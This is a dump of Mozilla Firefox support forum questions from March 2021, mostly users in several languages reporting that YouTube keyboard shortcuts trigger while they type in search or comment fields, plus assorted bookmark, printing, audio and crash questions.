title: "F" key on keyboard using Firefox makes Youtube go full screen mode and I don't know why.
tags: desktop;other;windows-10;
product: firefox
topic: other
locale: en-US
answers: 1397909;1397923;
creator: samuelmoralesjr
content:
<p>Been trying to type comments in Youtube recently and every time I hit the "f" key, the video on the page goes to full screen. I don't know why this is happening. This does not happen with Google Chrome. I tried refreshing Firefox Nightly too but that did not work. For some reason, the problem happens on Firefox stable. </p>


created: 2021-03-10T14:21:54-08:00
updated: 2021-03-11T14:48:55-08:00
title: Two-Sided Print Suddenly Flips Pages "Up" Instead of "Over"!?
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397945;1398085;1398099;
creator: jclarkw
content:
<p>Recently two-sided printing has started to flip pages "up" instead of "over" as desired.  The only way I've found to prevent this is to first set the magnification and then determine the desired page range in the FF print dialog.  Finally I go to "Print using system dialog...", where I can change this setting back to "over."  The change does not persist, however, and must be reset every time I print, which is a real pain! </p><p>I checked the Windows printer preferences and verified that the setting saved in my default print shortcut is "over," so the change isn't coming from there.  What next? </p><p>Details:  Windows 10 (1909), HP Universal Printing PCL 6 (v6.9.0), FIrefox 86.0 (64bit). -- jclarkw </p>


created: 2021-03-10T14:12:47-08:00
updated: 2021-03-10T14:20:13-08:00
title: Bookmarks
tags: windows-7;desktop;bookmarks;firefox-570;
product: firefox
topic: bookmarks
locale: en-US
answers: 1397905;
creator: martyj9
content:
<p>I need to update Firefox on my Laptop but when I updated it on my PC I lost all my Bookmarks and I can't do that.  I am using Windows 10.  It should be built in the programs that when you update your Bookmarks are automatically moved. </p>


created: 2021-03-10T14:12:01-08:00
updated: 2021-03-10T18:03:19-08:00
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397913;1397942;
creator: morten5
title:
I cant log into my office 365 business acocunt, this is a brand new computer. It does work with Microsoft Edge but i want to use FireFox. After entering credentials i just get a blank page, no errors oo anything

content:
<p>I cant log into my office 365 business acocunt, this is a brand new computer. It does work with Microsoft Edge but i want to use FireFox. After entering credentials i just get a blank page, no errors or anything </p>


created: 2021-03-10T14:06:37-08:00
updated: 2021-03-10T16:24:54-08:00
title: Bookmarks
tags: windows-7;desktop;bookmarks;firefox-570;
product: firefox
topic: bookmarks
locale: en-US
answers: 1397907;1397928;1397929;
creator: martyj9
content:
<p>I need to update Firefox on my Laptop but when I updated Firefox on my PC I lost all my Bookmarks and I can't afford to do that.  it should be in the program tat when you update the bookmarks are automatically moved into new version </p>


created: 2021-03-10T13:02:10-08:00
updated: 2021-03-10T16:13:24-08:00
title: Youtube shortcuts on firefox
tags: websites;mobile;android;firefox-680;
product: firefox
topic: basic-browsing-firefox
locale: en-US
answers: 1397889;1397896;1397901;1397908;1397922;
creator: arxidamparotramparifas
content:
<p>Tonight I noticed something really weird when I tried to reply to a comment on Youtube. Initially, I tried to reply from the bell button in the notifications and soon I realized that the Spacebar was not working. I thought it might be stuck, but it was not, since it was working fine in both the address bar and the search bar. Asynchronous keys function was disabled. Then, I went to the video and tried to reply from there. Guess what! The video was being resized using the shortcuts depending on what I was typing!  For example "t" changes between normal and theater mode and "i" makes it picture-in-picture. What is going on? I am sure no key is locked, i even restarted my pc and the same thing kept happening. Then, I turned it off and on and the problem was persisting. Everything works fine on other applications, just YT seems broken for some reason. I tried to type on YouTube on two other browsers and everything worked fine. I don't think it has anything to do with the windows update, since it only happens on firefox, which I don't intend to change. Is there any setting to lock/toggle the Youtube shortcuts on and off? Sorry for the length of my description and thanks a lot in advance! </p>


created: 2021-03-10T13:01:40-08:00
updated: 2021-03-10T13:01:40-08:00
title: Sound Volume very low in Youtube on Mozilla
tags: desktop;tips;
product: firefox
topic: tips
locale: en-US
creator: stronghold.kingdom.777
content:
<p>Hey! I have recently bought the <a href="https://bestheadphonecenter.com/sennheiser-game-zero-review/" rel="nofollow">Sennheiser Game Zero</a> headset for my typical Valorant and Fortnite games.  I am experiencing strangely distorted and low-volume audio on Youtube in Mozilla Firefox. The audio quality on different browsers, even on the different websites on Firefox is normal. </p><p>I have tried updating my audio drivers. Is there anything else I can do? </p>


created: 2021-03-10T12:57:14-08:00
updated: 2021-03-10T16:11:53-08:00
title: Youtube Space Bar issue
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397871;1397915;1397921;
creator: nafisher
content:
<p>When I am searching for videos on YouTube, I cannot use the space bar. For instance if I search "Charlie bit my finger" it would enter "Charliebitmyfinger" in the search bar because the space is not working. It will work to pause videos however. I also notice that sometimes when I type "k" it will also start and stop the video. I tried not allowing <a href="http://youtube.com" rel="nofollow">youtube.com</a> permissions to override my keyboard, but that did nothing. I was still able to pause videos using space bar or 'k'. Any suggestions? </p>


created: 2021-03-10T12:52:29-08:00
updated: 2021-03-10T13:30:41-08:00
title: Firefox interference with typing YouTube comments?
tags: windows-7;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397868;1397869;1397877;1397880;1397882;1397885;
creator: joelchummel
content:
<p>I have always used Firefox with YouTube and often add comments or reply to existing comments. </p><p>Today I noticed that when typing a comment, my keystrokes were being intercepted as keyboard shortcuts directed at the video player.  I'd type a word, press the space bar, and the video would pause.  I confirmed my keystrokes against YouTube's list of video oriented keyboard shortcuts, and sure enough, anything typed while in text-edit mode in the comments section were being redirected to the video player. </p><p>This doesn't affect Chrome.  After I discovered this in Firefox I tried there. </p><p>I made sure my browser cache was cleared, made sure my Firefox was up to date, disabled my adblocker, even rebooted my computer. </p><p>Not sure if anyone has seen this issue, just hoping. </p>


created: 2021-03-10T12:51:42-08:00
updated: 2021-03-10T12:52:12-08:00
title: Typing in Youtube comments is launching shortcuts on certain letters, like i and f
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397866;
creator: tomdickorharry
content:
<p>Just typing comments in Youtube and when pressing the letter "i" it minimizes the window, typing the letter "f" maximizes the window...and so on.  Just normal typing is doing this and if you happen to need one of those letters, it cannot be typed and will instead act like a shortcut key and perform the associated function. </p><p>Very weird.  Tested this with Chrome and Edge, does not have this issue.  Restarted computer, did not resolve the issue.  Disabled the 3 addons I have - Ublock Origin, Video Downloader and BitWarden and did not resolve the problem.  Just started after the latest update this morning - 86.0, says I'm up to date. </p>


created: 2021-03-10T12:44:07-08:00
updated: 2021-03-10T12:50:14-08:00
title: FireFox Nightly
tags: desktop;download-and-install_1;windows-10;
product: firefox
topic: download-and-install
locale: en-US
answers: 1397864;
creator: radardr45
content:
<p>I have FireFox Nightly but would like to go back to regular FireFox.  When I downloaded regular FireFox I lost all of my bookmarks and passwords.  How can I switch safely. </p>


created: 2021-03-10T12:38:57-08:00
updated: 2021-03-10T12:39:08-08:00
title: Space bar does not work in Firefox YouTube
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397860;
creator: sahsa22323
content:
<p>I am trying to press the spacebar, it does not work in your browser on YouTube, I tried it in other browsers, everything is fine there, I looked through all the settings, can I somehow solve this problem? </p>


created: 2021-03-10T12:30:28-08:00
updated: 2021-03-10T12:31:22-08:00
title: when typing on youtube Shortcut buttons keep on getting triggered
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397857;
creator: peravin_mariathasan
content:
<p>On my Youtube tab when i try to search or write a comment, everytime I end up pressing a shortcut button such as the spacebar it stops and starts the video and when i try to use the M button it mutes and unmutes then video et., even thou i try to write a sentence. I have refreshed, updated my windows and browsers etc, cleared my Cashe. Other Browsers are fine only on Firefox. Have not had that issue before. </p>


created: 2021-03-10T12:28:01-08:00
updated: 2021-03-10T12:46:39-08:00
title: Can't type in youtube comments without triggering youtube shortcut keys.
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397852;1397861;1397863;
creator: omega.viperzero
content:
<p>Like I said in the subject title, I can't seem to type in the comments section of youtube without activating the shortcut key, ie: pressing the spacebar while typing plays/pauses the video, and the space does not appear, f toggles the fullscreen, m toggles mute, and other shortcut keys in youtube. </p><p>I have tried firefox safe mode (add-ons disabled), and the same thing happens. This only occured today, and nothing was wrong yesterday. </p><p>Commenting in youtube on other browsers, edge, chrome, and opera seems to be working properly. </p><p>I'm using Firefox 86.0 64bit. </p>


created: 2021-03-10T12:27:23-08:00
updated: 2021-03-10T12:27:53-08:00
title: Spacebar is non-functional on YouTube search bar
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397851;
creator: williamwongcastle
content:
<p>I'm not sure if this is a Firefox issue or a YouTube issue. </p><p>Trying to use the space bar on YouTube's search bar doesn't work as of 3/10/21. This only occurs on the Firefox browser. </p>


created: 2021-03-10T12:25:18-08:00
updated: 2021-03-10T12:30:07-08:00
title: crashes on and off every copule days. I was told to mark them as below..
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397854;
creator: puckaway1911
content:
<p>bp-022ab5a5-eb82-4d63-b468-2d31c0210310 	3/10/2021, 11:57 AM 	 View bp-0c379d15-b218-411a-a640-684450210308 	3/8/2021, 4:16 PM 	 View bp-1d855f39-f928-48cf-8652-484570210307 	3/7/2021, 4:11 PM 	 View bp-78bfe4fd-48a1-4ed0-a458-3bcae0210307 	3/6/2021, 8:19 PM 	 View bp-f88214ec-5aa3-4d37-9aef-a24630210306 	3/6/2021, 12:35 PM 	 View bp-2da35726-b46a-4fc8-b8ee-8788c0210306 	3/6/2021, 10:59 AM 	 View bp-3df34d50-1064-4b4f-83ab-0f8800210306 	3/6/2021, 10:45 AM 	 View bp-4cdab40d-da6a-47f7-b8e8-a4bd00210306 	3/6/2021, 10:22 AM 	 View bp-402c78f9-bb8f-455d-bf5b-19a410210306 	3/5/2021, 9:32 PM 	 View bp-465633c3-13c2-4b90-beb8-aa9ed0210306 	3/5/2021, 9:32 PM 	 View bp-4348d811-4ba3-4ff4-9b9c-9ea220210303 	3/3/2021, 4:50 PM 	 View bp-406081d3-341d-421f-8cde-d96500210303 	3/3/2021, 11:15 AM 	 View bp-1300a496-6666-4642-803d-9ac9e0210303 	3/3/2021, 11:15 AM 	 View bp-ae7bd837-8173-429d-aaca-b31aa0210228 	2/27/2021, 11:19 PM 	 View bp-bdf8927e-32a5-485d-a83f-03fd10210228 	2/27/2021, 10:44 PM 	 View bp-61665392-b179-4ea5-873c-3f59a0210228 	2/27/2021, 10:44 PM 	 View bp-b99f4812-4af8-440a-b2fc-32d3a0210228 	2/27/2021, 10:26 PM 	 View bp-10913a58-35eb-4a2c-b693-b76cc0210228 	2/27/2021, 7:05 PM 	 View bp-b2e3f196-caa7-449f-a559-f48ae0210227 	2/27/2021, 1:13 PM 	 View bp-32dca015-365b-48fd-b497-1e4d50210227 	2/27/2021, 12:34 PM 	 View bp-8772d11d-d475-4da1-86dc-82eef0210227 	2/27/2021, 12:34 PM 	 View bp-8f18e316-b761-4bf0-aa96-38b250210227 	2/27/2021, 12:34 PM 	 View bp-66216cfb-79a2-4d5c-8247-9013b0210227 	2/27/2021, 12:34 PM 	 View bp-d0035a77-ad51-4869-b202-9f7df0210227 	2/27/2021, 12:34 PM 	 View </p>


created: 2021-03-10T12:16:10-08:00
updated: 2021-03-10T12:30:40-08:00
title: last five crashes as requested by support Attention support
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397856;
creator: puckaway1911
content:
<p>bp-022ab5a5-eb82-4d63-b468-2d31c0210310 	3/10/2021, 11:57 AM 	 View bp-0c379d15-b218-411a-a640-684450210308 	3/8/2021, 4:16 PM 	 View bp-1d855f39-f928-48cf-8652-484570210307 	3/7/2021, 4:11 PM 	 View bp-78bfe4fd-48a1-4ed0-a458-3bcae0210307 	3/6/2021, 8:19 PM 	 View bp-f88214ec-5aa3-4d37-9aef-a24630210306 	3/6/2021, 12:35 PM 	 View </p>


created: 2021-03-10T12:13:59-08:00
updated: 2021-03-12T19:49:36-08:00
title: Problemas al escribir espacio en la barra de búsqueda de youtube.
tags: desktop;other;needsinfo;windows-10;firefox-860;
product: firefox
topic: other
locale: es
answers: 1398383;
creator: jesuslg01
content:
<p>Tengo un problema cuando intento buscar en la barra de busqueda de youtube, ya que no me deja introducir espacios entre palabras y salen todas juntas.  </p><p>Si hay un video en la pestaña, únicamente reproduce y para el video aunque intente escribir; si por ejemplo estoy en la página de inicio de youtube e intento buscar ahí, al pulsar el espacio no hace nada, simplemente tampoco escribe el espacio. </p><p>Por otro lado, esto solo pasa en youtube y en firefox, pues si intento escribir un espacio en cualquier otra parte, como google, gmail, etc. me deja sin problemas, y si me meto a youtube en chrome, sí que me deja escribir espacio. </p><p>He visto que al parecer le esta pasando a más gente, alguien nos puede ayudar, por favor? </p><p>He probado a limpiar el caché, las cookies y reinstalar firefox, pero nada. </p>


created: 2021-03-10T12:13:10-08:00
updated: 2021-03-13T08:13:38-08:00
title: No puedo escribir comentarios en YouTube
tags: linux;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: es
answers: 1398395;1398451;
creator: 2006castellanosnicolas
content:
<p>Cuando escribo un comentario y presiono una tecla cualquiera, se ejecuta la acción de YouTube relacionada a esa tecla, y no se escribe el carácter. Ejemplo: Si presiono "espacio" se pausa o des-pausa el video y no se escribe un espacio en el comentario. </p>


created: 2021-03-10T12:11:18-08:00
updated: 2021-03-10T12:12:27-08:00
title: Typing in Youtube merge Media Commands while playing/typing/searching videos...
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397809;
creator: Bluepool92
content:
<p>I was typing a Youtube comment when, all of a sudden hitting "Spacebar" pauses the video, typing Letter "M" mutes the video. "F" FullScreen "I" Miniplayer. It also applies while searching a video. I tried it on other browser. I had no issues at all. So I came if this is an issue on Mozilla Browser, or in my end. </p>


created: 2021-03-10T12:07:14-08:00
updated: 2021-03-10T12:11:24-08:00
title: Youtube typing function mixed with hotkeys
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397797;1397800;1397802;1397805;
creator: Chrischanoer
content:
<p>Hi, I just got a problem, and I have no idea if it is on Firefox, Youtube or something else, but I need to start somewhere, and I guess it might be Firefox, because I don´t have this problem with other browsers. </p><p>I can´t use Youtube properly anymore. Every time I want to type something on Youtube, for example in the search bar or in the comment section, it gets mixed up with the hotkeys. For example, pressing "t" gives me a "t" in text, and it moves the video into cinematic mode at the same time. Pressing "i" gives me an I in a text field, but also puts the video into miniplayer mode at the same time. Spacebar however doesn´t give me a space in text, but only pauses the video.  To type something, I need to open a word document, and copy paste it into youtube, because I can't properly type on the Youtube website properly anymore. </p><p>I tested the same keyboard on a different browser on a different computer. Then it works fine. So I think either it is my computer, or the Firefox browser. </p>


created: 2021-03-10T12:05:38-08:00
updated: 2021-03-10T12:05:38-08:00
title: Google search chaptcha challenges, Twitter claims of unusual network activity
tags: windows-7;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
creator: dbennet
content:
<p>For the last few months I've been getting chaptcha challenges every time I attempt to do a seach using Google search engine. I've also had Twitter accounts locked claiming unusual network activity. As near as I've been able to tell it somehow relates to use of VPN and I was told my my ISP service it's getting increasingly common problem. I'm using Windows 7 so Mozilla doesn't seem to be an option. Might it relate to my Firefox add ons? Cookie Manager, Privacy Badger, HTTPS Everywhere, DNSlytics. </p>


created: 2021-03-10T12:05:02-08:00
updated: 2021-03-11T10:19:08-08:00
title: SPACE BAR DOES NOT WORK ON YOUTUBE SEARCH PROMPT, ONLY IN MY FIREFOX DESKTOP BROWSER (WINDOWS 10)
tags: desktop;youtube;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397798;1397810;1397814;1397815;1397836;1397841;1397846;1398048;
creator: FiredFox69
content:
<p>First of all, how the hell do I actually talk to a person at Firefox?  You have made that impossible to find out, online. </p><p>Anyway, why, suddenly today, does the space bar on my keyboard, NOT work, on YouTube's search prompt, ONLY on my Firefox browser (Windows 10)?  What the hell? </p>


created: 2021-03-10T11:57:53-08:00
updated: 2021-03-11T04:43:28-08:00
title: Youtu'da arama hatası
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: tr
answers: 1397986;
creator: muratgun.cy
content:
<p>Youtube üzerinde arama yaparken space (boşluk) tuşuna bastığımda kelimeler arasına boşluk konmuyor. Bununla ilgili büyük, küçük keran vs. çok uğraştım. Başka tarayıcılarda olmuyor. Video açık değilse de boşluk konmuyor. Firefox tarayıcı kurup tekrar yükledim, yeniledim ancak sorun halen devam ediyor... </p>


created: 2021-03-10T11:57:30-08:00
updated: 2021-03-10T12:09:54-08:00
title: Can't write on youtube
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397799;
creator: damazywlodarczyk
content:
<p>Every keyboard key on youtube works like a shorcut, other browsers work fine. I refreshed the browser and i disabled add ons. Didn't help, any fix? </p>


created: 2021-03-10T11:55:38-08:00
updated: 2021-03-10T11:55:38-08:00
title: Pikselöintiä kuvassa kuin lumipyryä!
tags: linux;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: fi
creator: kaleton
content:
<p>Linux Ubuntun 20.04 LTS ohjelmapäivitys 7.3.-21 toi Mozilla Firefox selaimeen pikselihäiriön kuin "lumipyryä". Aktivoituu hiirestä, näppäimistä yms.  Olen asentanut selaimen uudelleen, nollannut Firefoxin, poistanut lisäosat, yrittänyt "korjaa vikatilanne" kaikilla ohjeilla, ei vaikutusta.  Selainkaappausko? Voiko vika olla Ubuntun päivityspalvelimella? Mikä neuvoksi? </p>


created: 2021-03-10T11:42:24-08:00
updated: 2021-03-10T13:48:40-08:00
title: Firefox keeps opening YT miniplayer when use the letter i
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397783;1397849;1397891;
creator: teesee64
content:
<p>Hi, </p><p>I have a realy strange problem with firefox and youtube. When i want to type a comment under a youtube video the video switches to the miniplayer even when im typing in the comment field. I know the shortcut key is the 'i' for the miniplayer but i cant leave a comment when the letter i is used in the comment. </p><p>I have tried to to disable all the add-ons, i have tried to refresh firefox, i have uninstalled firefox and re-install it, tried it on another pc but the problem is still there. </p><p>It is a firefox problem because google chrome dont have the problem. </p><p>Im using Firefox 86.0 (x64) latest version, no updates. </p><p>So if anyone knows how to disable the shortcut key 'i' of another solution to the problem, please leave a comment! </p><p>Thanks in advance!!!! </p>


created: 2021-03-10T11:38:11-08:00
updated: 2021-03-10T12:22:21-08:00
title: Hotkeys prevent you from writing comments on YouTube
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397782;1397829;
creator: discipler6
content:
<p>Hotkeys on YouTube work even when the video window is out of focus, which makes it difficult to write comments. Each press of <strong>«f»</strong> expands/minimizes the video window, even if the focus is currently on the comment input form. </p><p>The bug appeared in one session. No extensions were installed. The latest browser version. </p><p>Other browsers are fine. </p><p>What could be the problem? </p>


created: 2021-03-10T11:32:45-08:00
updated: 2021-03-10T12:22:33-08:00
title: I can't type correctly in the Youtube search bar.
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397772;1397781;1397830;
creator: segno.al.coda
content:
<p>Like the title says, I can't type correctly on Youtube: even if the Search bar is selected, it thinks everything is a hotkey (e.g. pressing M will both add an M to the bar *and* mute the current video, exception is Space which cannot be input &amp; only pauses the video instead) </p><p>I have tried to disable all plugins but nothing changed it; I know it's something with Firefox because I tried Chrome and it doesn't have that problem. I can type normally on other sites (as you can see). I've also tried clearing data and cache, refreshing and reinstalling Firefox, but no solution. </p><p>Does anyone help me with this, please? </p>


created: 2021-03-10T11:32:28-08:00
updated: 2021-03-10T14:17:26-08:00
title: YouTube shortcuts react when I enter text in the YouTube search bar
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397780;1397790;1397801;1397822;1397858;1397902;1397903;
creator: khazankin
content:
<p>Hello, everyone, </p><p>Suddenly I can't use the YouTube search bar properly because the shortcuts are activated constantly: the spacebar only functions as play/pause (and no spacing in the search bar itself), 't' immediately changes the player format, etc.  If I'm on YouTube's homepage and no video is selected, the text input doesn't activate anhything but the spacebar still doesn't produce any spaces. If I select the browser's address bar, text input works normally. </p><p>It's as if the video is always selected when I'm on YouTube, even if the cursor is in the search bar or if I haven't started any playback.  </p><p>In Chrome everything's working. </p><p>What have I done and, more importantly, is there an easy way to undo it?:) </p><p>(It's Windows 10, Lenovo.) </p><p>Thank you. Best regards, Dan </p>


created: 2021-03-10T11:30:40-08:00
updated: 2021-03-10T12:19:08-08:00
title: keyboard error on youtube
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397778;1397817;
creator: ravanza.wijaya
content:
<p>i watch youtube on firefox. when i type on search bar, i cant use space. it directly pause the video even im stil typing.  </p><p>and when im in youtube home, same thing happen. i cant use space </p><p>whats the problem? </p><p><br> it only in firefox, it work fine in google </p>


created: 2021-03-10T11:23:36-08:00
updated: 2021-03-10T12:00:09-08:00
title: Incidencias con youtube
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: es
answers: 1397795;
creator: lp.oscar.libra
content:
<p>HOla, acaba de pasarme hace un rato, al encender la pc, que al darle a la barra espaciadora en el cuadro de busquedas de Youtube, el video se pausa, intente muchas cosas, pero al final el espacio en la barra de busqueda no aparace,y solo pausa el video, ademas al presionar la tecla F en el cuadro de busqueda, el video se hace mas grande, pero la letra no aparece en el cuadro, alguna solucion? a alguien mas le ha pasado? </p>


created: 2021-03-10T11:22:14-08:00
updated: 2021-03-10T12:20:40-08:00
title: Firefox youtube broken space bar.
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397763;1397824;
creator: whosnext816
content:
<p>Space bar only has pause play function in firefox loading youtube.  Cannot separate words in search terms or comments.  Tried with different browser no issue. </p>


created: 2021-03-10T11:09:08-08:00
updated: 2021-03-10T19:59:28-08:00
title: Hotkeys on YOUTUBE
tags: windows-7;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397749;1397755;1397758;1397838;
creator: vitiok-555
content:
<p>So, when I trying write something in comments on Youtube. <strong>Hotkeys for video is working</strong>. And I cant even write space. It just start and pause a video. </p><p>I delete and instaled the Firefox, cleaned the cache, rebooted the laptop. It didn't help. </p>


created: 2021-03-10T11:07:22-08:00
updated: 2021-03-10T14:07:57-08:00
title: Youtube webpage search box
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397752;1397761;1397784;1397792;1397794;1397812;1397821;1397875;1397894;1397900;
creator: HadesZA
content:
<p>I'm having a problem with firefox and the youtube webpage. When I use the youtube search box on the youtube site I can't use the space bar to create spaces. It seems to be stuck in media control mode as the space bar only pauses and unpauses videos now. I am not focused on the video bar of a video which would normally result in space pausing the video. My cursor in the search box and the space bar still pauses and unpauses but no spaces are made in the search box. </p><p>I do not have this problem in Chrome or Edge.  </p><p>What I have tried doing: </p><p>1. Restart machine 2. Refresh firefox 3. Uninstall firefox </p><p>Point 3 above doesn't seem to be any different from refreshing firefox. </p><p>I am not sure what else to do here. Perhaps I'm just missing something basic? </p>


created: 2021-03-10T11:05:37-08:00
updated: 2021-03-10T12:20:07-08:00
title: Backspace button on YouTube
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397757;1397766;1397791;1397823;
creator: hernansilva2002
content:
<p>I can not press the "Backspace" on YouTube using Firefox, but my keyboard works fine cause in Chrome and Edge it works perfectly, I've already refreshed the tab and still not working. Have any idea of what's going on? </p>


created: 2021-03-10T11:04:39-08:00
updated: 2021-03-10T12:11:07-08:00
title: YouTube hotkeys issues in FireFox
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397762;1397777;1397803;
creator: alexx-design
content:
<p>YouTube video player hotkeys react even when video is out of focus. <strong>I can't write a comment under the video on YouTube</strong>, because when I type, the hotkeys for the video are triggered. I immediately tested this problem on other devices - it's the same there.  At the same time, this problem is not observed in other browsers (Chrome). </p><p>FireFox v 86.0, Windows 10. </p>


created: 2021-03-10T11:04:36-08:00
updated: 2021-03-10T12:25:07-08:00
title: Youtube forces keys to the media
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397753;1397840;
creator: germanylp.t
content:
<p>Hey guys, </p><p>A problem with YT just appeared out of nowhere and I can't seem to fix it. </p><p>Somehow, YT (and only YT) forces all keys, that control the player, to be permanently active and bound to it. Meaning, when I try to type anything into YouTube's search bar, or the comments, it will also affect the video currently playing. (Spacebar (un)pauses, M mutes, T switches to cinema mode, etc.) </p><p>While typing anything on YT, the spacebar is completely disabled, so I can't even separate words. Interestingly, this particular side effect applies even at the YouTube starpage, when there is no video playing. </p><p>Any other media player is unaffected by all of this. It's only a problem with YouTube </p><p>Can't remember anything that started it in particular. It just happened after I loaded another video and tried to type something. Might've hit a combination that activated it, but I don't know. </p><p>Firefox runs on version 86 (64 bit). Reinstalling and resetting the profiles didn't help. YouTube in any other Browser still works normally. </p><p>Any advice? And thanks in advance. </p>


created: 2021-03-10T11:03:23-08:00
updated: 2021-03-10T12:21:20-08:00
title: Youtube can't use spacebar in search
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397739;1397826;
creator: younes24
content:
<p>As mentioned in the title, for some reason i can't use spacebar in the search bar of youtube, it keeps everything sticked to eachother. Using internet explorer fixes this but i want to use mozillia. </p>


created: 2021-03-10T11:02:53-08:00
updated: 2021-03-11T06:10:25-08:00
title: Strange behavior of YouTube's search form
tags: linux;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397742;1397842;1398001;1398003;
creator: renanbguedes
content:
<p>Hi, everybody! </p><p>This started happening out of nowhere. When I click the search form I can type letters with no problem, but the space bar just doesn't insert the space character. Instead, it seems to be locked to the video that is playing and pauses it, even though the form is selected. Strangely, when I select the form using the tab key, I can then insert space characters with no problem. </p><p>I've already restarted Firefox in safe mode, so apparently it's not any of my add-ons that is causing the problem. Has anyone experienced this issue? </p>


created: 2021-03-10T11:02:00-08:00
updated: 2021-03-10T12:11:30-08:00
title: Youtube hotkeys work also during writing a comment
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397744;1397751;1397806;
creator: ioannych
content:
<p>I can't write a comment under any video on Youtube. Because hotkeys are also working in the same time when I'm writing a comment. For example, "space" button is hotkey for "play/pause" function, so when I push space instead of placing a "space" symbol it's playing and stopping the video. Or pushing "i" starts picture-in-picture mode, and so on. I'm using the latest version of Mozilla. How to fix this? I checked it in another browser (Yandex), and Youtube comments are working correct there </p>


created: 2021-03-10T10:56:33-08:00
updated: 2021-03-10T12:19:37-08:00
title: Spacebar doesn't work on youtube
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397745;1397820;
creator: DaVanilla
content:
<p>Hi guys, </p><p>maybe someone can help me out. </p><p>My spacebar doesn't work on youtube searchbar anymore. Maybe I pressed a combination of keys, idk. </p><p>Please help! </p>


created: 2021-03-10T10:54:16-08:00
updated: 2021-03-10T10:57:15-08:00
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397732;
creator: ccwwjdspgrh
title:
youtube & other website play sound through inactive internal speaker not active/ connected bluetooth speaker... & cannot change volume; MS Edge no problem

content:
<p>How can I avoid sound problems with firefox browser? Several websites I check only play through internal laptop speaker, not connected bluetooth ue mini-boom. I download Edge browser, &amp; it plays through ue miniboom.  </p><p>Other audio problems- i cannot mute or lower volume on websites I checks, or zoom meeting with firefox. I am stuck with loud college class talk while trying to work if I use firefox.  </p><p>I tried suggestion of permissions for website, &amp; it solved nothing.  </p><p>I want to use firefox, not edge <strong>bold text</strong>. help. </p>


created: 2021-03-10T10:52:49-08:00
updated: 2021-03-10T12:27:13-08:00
title: I cannot type spaces into Youtube comments
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397748;1397847;
creator: morganstien04
content:
<p>On Youtube, the Spacebar doesn't actually make spaces in comments. It only stops and starts the video. This doesn't happen in Microsoft Edge. So something has to be wrong with Firefox. I have the following extensions enabled: 1. 4chanX. 2. Adblock plus. 3. Archive Page 4. DuckDuckGo privacy essentials 5. Google Scholar Button. 6. Honey. 7. Tampermonkey 8. Theme and Font size changer. 9. TubeUnblock 10. Watch2gether.   </p><p>I have the following plugins enabled: 1. OpenH264 Video Codec provided by Cisco Systems, Inc. 2. Widevine Content Decryption Module provided by Google Inc. </p><p>I also have Ruffle (The flash emulator) installed in my browser. the 2021-03-09 version. </p>


created: 2021-03-10T10:49:26-08:00
updated: 2021-03-10T12:27:22-08:00
tags: linux;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: pt-BR
answers: 1397731;1397759;1397848;
creator: nandolessa
title:
Help when at youtube and commenting section, space bar pauses and unpauses but do not spces letters when writing

content:
<p>when i'm writing a commen on youtube, and I press SPACE, it does not spaces, instead it pauses/unpauses the video. I cliked at comment section again and again and did not solve the problem, what should i do? </p><p>i already cleaned cache to see if it worked, but did not. </p><p>others browserd haven't this problem, but i want to use firefox but this problem is driving me nuts, it just started </p>


created: 2021-03-10T10:48:36-08:00
updated: 2021-03-10T13:22:35-08:00
title: Keyboard issues only on YouTube
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397730;1397734;1397738;1397740;1397769;1397828;1397865;1397867;1397872;1397876;1397881;
